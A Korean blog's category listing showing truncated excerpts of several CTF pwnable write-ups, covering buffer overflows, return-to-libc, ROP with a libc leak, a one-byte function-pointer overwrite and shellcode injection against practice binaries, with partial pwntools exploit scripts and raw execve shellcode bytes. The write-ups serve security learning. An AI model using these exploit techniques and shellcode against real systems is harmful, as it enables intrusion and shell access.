목록분류 전체보기 (365)
입력을 한번 받고 다시 출력을 해준다. 로컬에서는 오류가 난다. apt-get install lib32stdc++6 입력해주면 오류 없이 실행이 가능하다. 코드를 확인하겠다. fgets로 입력을 받는다. replace함수에서 어떤 문자가 다른 문자로 교체된다. 문자열 복사 후 출력하고 종료된다. BOF를 일으키기에는 입력받는 문자의 길이가 부족하다. replace함수를 확인하도록 한다. 문자 I가 YOU로 변하는 모습이다. 한 문자가 세개의 문자로 replace 되니 bof를 일으킬 수 있다. 덮어야 할 주소이다.
실행하면 메뉴가 보인다. 1번을 누른 모습이다. 2번은 돈을 번다. IDA로 디컴파일 결과 여기서 4번 누르면 돈을 엄청 많이 준다. 돈을 일정 금액 모으고 3번을 누르면 system주소를 준다. 4번도 돈으로 shell주소를 살 수 있다. 5번에서 RTL공격을 한다. offset은 0x8c+sfp(4) = 144만큼 준다. payload : dummy(144) + system + dummy(4) + binsh
암호를 맞추어야 한다. 반복문에 bp를 걸고 확인을 하겠다. 입력 값이 0x960000이어야 한다. 10진수로 입력을 해준다. 다시한번 입력이 가능해진다. ret까지의 offset을 확인해본다. ret까지 26byte이다. ROP기법을 통해 쉘을 실행한다. 필요한 가젯들을 모은다. 1. puts의 실제 주소를 구한 후 다시 main을 실행하게 한다. 2. libc base을 이용해 system과 binsh의 주소를 구한다. 3. system을 실행한다. from pwn import * #p = remote("ctf.j0n9hyun.xyz",3009) p = process("./yes_or_no") context.log_level = "Debug" elf = ELF("./yes_or_no") libc = ..
welcome의 주소를 알려준다. flag를 알려주는 함수가 있다. ret의 offset을 확인한다. welcome - 0x79가 flag함수 이다.
canary빼고 다 걸려있다. code를 확인하겠다. 그리고 의심 가는 함수 어딘가의 주소를 print_flag로 덮는다. select_func의 17번 라인에 포인터형 함수가 호출된다. 그 부분에 bp를 걸고 확인을 한다. 0x56555600을 참조한다. 한 바이트를 덮을 수 있다. print_flag의 주소를 확인을 해본다. 0xd8을 덮어주면 된다.
메모리 주소가 노출이된다. ret의 offset을 확인했다. shellcode 와 dummy를 주고 ret에 leak한 주소를 넣는다.
buf주소를 leak 한다. buf에는 shellcode를 넣는다. ret주소를 buf로 한다. buf의 크기는 0x6d30이다. 0x6d30 + sfp(8) = 0x6d38 dummy는 0x6d38만큼 채운다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3005) context.log_level = 'Debug' elf = ELF("./Simple_size_bof") shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.recvuntil(": ") data = int(p.recv()[:-1]..
pattern을 삽입하여 offset을 확인했다. 280이 나왔다. 의심 가는 함수가 있다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3004) context.log_level = 'Debug' elf = ELF("./64bof_basic") payload = b"A"*(280) + p64(elf.symbols['callMeMaybe']) p.sendline(payload) p.interactive()